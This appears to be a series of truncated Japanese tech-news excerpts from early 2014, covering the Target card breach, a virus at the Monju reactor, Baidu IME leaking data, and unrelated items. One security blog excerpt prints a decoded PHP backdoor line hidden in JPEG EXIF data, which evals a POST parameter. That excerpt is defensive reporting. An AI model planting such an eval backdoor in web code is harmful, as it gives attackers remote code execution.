情報処理推進機構(IPA)は1月14日、「ITパスポート試験」の公式キャラクターの募集をpixivで始めた。応募締め切りは2月10日。 「日本の元気を、iパス(ITパスポート試験)で!」をテーマに、認知度向上を目的に開催する。「iパスをイメージした擬人化キャラクター」をpixiv上で募集し、コンテスト形式で決定。最優秀賞は公式キャラクターとして採用され、ポスターやパンフレット、Webサイトなどに登場する予定だ。 関連記事 ITパスポート試験が出題構成を見直しへ 情報処理推進機構(IPA)は、「ITパスポート試験」をはじめとする情報処理技術者試験の出題構成を見直し、セキュリティ関連の出題を強化する。 「ITパスポート試験」受験者に初音ミクのクリアファイル IPAが無料配布 情報処理推進機構(IPA)は、8月から12月までの「ITパスポート試験」の受験者に初音ミクのクリアファイルを無料配布する
クレジットカード情報の大量流出が発覚した米小売り大手Targetの最高経営責任者(CEO)が1月12日、米CNBCテレビのインタビューに応じ、流出の原因がPOS端末のマルウェア感染にあったことを明らかにした。POSシステムを狙うマルウェアについては、米セキュリティ機関のUS-CERTも1月2日にアラートを出して注意を呼び掛けている。 この問題でTargetは2013年12月19日、米国内の店舗で買い物客が使ったカード約4000万枚の情報が不正アクセスされた可能性があると発表した。これについて同社のグレッグ・ステインハフェルCEOはCNBCのインタビューで、「我々が問題を確認したのは日曜(12月15日)だった。その日の午後6時までにはセキュリティ対策を講じ、アクセスポイントのマルウェアを削除した」と語っている。 現在は捜査当局と連携して、POS端末にマルウェアを仕込んだ人物や、仕込まれた経緯
4000万件のクレジットカード情報流出とは別に、7000万人分の個人情報も盗まれていたことが分かった。 米小売大手のTargetから買い物客が使ったクレジットカード情報が流出した問題で、Targetは1月10日、クレジットカード情報とは別に、買い物客7000万人分の個人情報も盗まれていたことが分かったと発表した。 この事件では、2013年11月27日から12月15日の間に全米のTargetの店舗で使われたクレジットカードやデビットカードの情報4000万件あまりが流出していたことが発覚している。その後の調査の結果、クレジットカード情報とは別に、7000万人の氏名、住所、電話番号、メールアドレスなどが流出していたことが分かったという。 メールアドレスが分かっている客には連絡を取り、詐欺などの被害に遭わないよう注意を呼び掛けているという。 さらに、米国内のTarget店舗で買い物をした全ての客を
加速度的に処理性能の向上が続くコンピュータ。ネット上の取引業務への応用では、今や1秒間あたり何千回もの速さでの自動処理が可能だ。ネット広告のリアルタイム・ビッディング(RTB)や金融の高頻度取引(HFT)は、こうしたコンピュータの「究極の高速化」を生かした新ビジネス、新市場の典型例と言える。 新市場1:リアルタイム・ビッディング ネット広告の裏で高速取引 普段、目にするWebサイト。そこで表示されている広告は、実は裏で超高速のオークションを経たものかもしれない。 Webサイトを利用者が訪れた瞬間に、その利用者に広告を見せる権利を電子的な取引市場でリアルタイムにオークション形式で売り出し、コンピュータが数ミリ秒で入札して自動取引するRTB。この技術が普及し始めているのである(図1)。
高速増殖炉「もんじゅ」(福井県敦賀市)の従業員用パソコン1台がコンピュータウイルスに感染し、外部との不審な通信による情報漏洩が疑われている問題(速報記事)で、通信先は韓国とみられるIPアドレスのサーバーだったことが、2014年1月7日、もんじゅを運営する日本原子力研究開発機構への取材で分かった。 ウイルスに感染したのは、もんじゅの発電課従業員が使用するパソコン。1月2日に、約90分間にわたって不審な通信が行われていた。その後の調べで、韓国とみられるIPアドレスのサーバーとの間で33回通信が行われていたと判明した。 ただし、同機構広報部報道課の説明によれば、現時点ではIPアドレスを確認しただけ。本当に韓国のサーバーと通信していたか、さらにその先のサーバーに情報が送信されたかどうかなど、詳細はまだ明らかになっていないという。 ウイルスに感染したのは、動画再生用のフリーソフトを更新した時だった可
今回は攻撃者による“だまし”に関するブログを中心に紹介する。最初は、JPEG画像のメタデータにマルウエアを仕込むケース。JPEG画像のメタデータにマルウエアを仕込んだPHPバックドアをスペインのドメイン(.es)で見つけたとして、ブログで注意を促している。同様の手口は、今年6月に米スキュリが報告している。 JPEGファイルのコードを見ると興味深い文字列が並んでおり、画像のEXIFデータと合致する。 JPEGファイルのコード 画像のEXIFデータ EXIFデータのModelo(モデル)情報とMarca(メーカー)情報に同じ文字列が確認できる。これを解読すると「if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"])); 」となり、POSTパラメータ「zz1」を通じて取得するいかなる数値も実行する。 コードの実行には、PHPの「ex
今日は『将棋世界』の取材があるのだが、将棋のこと考えていたら寝れないので将棋について日頃思っていることをぶちまけてみる。 もう何度目にしたかわからないのだが、小説やドラマでよく「捨て駒のように俺を粗末に扱いやがって」みたいな表現が出てくるのだが、これが将棋指しから見ると極めておかしい、誤った表現である。将棋について理解のない人にとって「捨て駒」とはそういう認識なのだろうが…。今回はこのことについて詳しく説明する。 まず、将棋は捕獲した駒を手駒に出来る。これはチェスとは違った特徴である。チェスは手駒という概念がないので、取った駒はただ盤上から消えていく。将棋は違う。手駒になる。銀は4枚しかなく、初期盤面では先後2枚ずつ割り振られているが、相手から1枚取るとこちらは盤上に2枚、手駒で1枚と併せて3枚になる。相手は盤上に1枚だけであるから、3対1の戦力になる。 銀の価値が300点だとしたら、相手
情報を外部に無断送信してしまうソフトが、1000台以上の自治体のパソコンで使われていた。中国検索大手「百度(バイドゥ)」製の日本語入力ソフト「バイドゥIME」。 その多くは、バンドル商法と呼ばれる無料ソフトとの「抱き合わせ」で配布され、職員らは気づかないままインストールしていたという。専門家からは「大切な住民情報を扱う以上、情報漏えいを防ぐ仕組みが必要ではないか」との声が出ている。 ◆バンドル 調査対象の67自治体中、最多の272台からバイドゥIMEが見つかった横浜市。市の全672課のうち167課、市立学校512校のうち48校にのぼる。「職員の誰もが『入れた覚えはない』と言うのだが……」とIT活用推進課の担当者は首をひねる。 ネット上の無料ソフト配布では、最初のダウンロード画面では一つのソフト名しか書かれていないのに、実際には複数のソフトがセットになっていることが多い。このため、「目的とは
テレビ神奈川(tvk)のファミリー向け番組で、出演者が性的な内容の英単語が表示された衣装で子どもとダンスをする場面が放送されたとして、tvkは1月13日、「演出上不適切な表現があった」と番組Webサイトで謝罪した。 番組は、月~金曜日の朝に放送している「みぶりてれび」で、振り付け師の南流石さんによるダンスを家族一緒に楽しむ内容。先週の放送で、子どもの出演者とダンスをする南さんの衣装に性的な内容の英単語が書かれていたとして、その番組キャプチャー画像がネットに出回り、一部で批判の声も上がっていた。 番組サイトでは「番組演出のチェック体制が不十分だったことを反省し、今後は適切な番組制作体制作りに努める」としている。今週は予定を一部変更して放送しているという。 南さんはWebサイトで文章を公表。「決して意図的に着用したものではなく、英文表記に対する知識と認識がお恥ずかしい事に全くございませんでした
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